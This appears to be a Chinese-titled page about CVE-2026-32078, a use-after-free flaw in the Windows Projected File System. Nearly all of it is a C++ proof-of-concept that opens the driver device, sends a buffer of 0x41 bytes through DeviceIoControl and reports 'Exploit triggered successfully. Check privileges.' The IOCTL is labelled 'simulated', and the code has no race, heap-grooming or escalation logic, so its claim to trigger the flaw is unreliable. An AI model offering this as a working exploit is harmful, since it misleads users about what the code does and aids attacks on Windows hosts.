CVE-2026-32078 Windows投影文件系统释放后使用漏洞

#include <windows.h> #include <iostream> // Simulated IOCTL for triggering the vulnerability #define VULN_IOCTL 0x222003 int main() { // Open a handle to the target device driver HANDLE hDevice = CreateFile(L"\\\\.\\ProjectedFileSystem", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL); if (hDevice == INVALID_HANDLE_VALUE) { std::cout << "Failed to open device. Error: " << GetLastError() << std::endl; return 1; } // Prepare input buffer to trigger the race condition / UAF BYTE buffer[0x100] = {0}; // Fill buffer with specific pattern to potentially corrupt memory layout memset(buffer, 0x41, sizeof(buffer)); DWORD bytesReturned; // Send malicious request to the driver std::cout << "Sending exploit payload..." << std::endl; BOOL result = DeviceIoControl(hDevice, VULN_IOCTL, buffer, sizeof(buffer), NULL, 0, &bytesReturned, NULL); if (result) { std::cout << "Exploit triggered successfully. Check privileges." << std::endl; } else { std::cout << "Exploit failed. Error: " << GetLastError() << std::endl; } CloseHandle(hDevice); return 0; }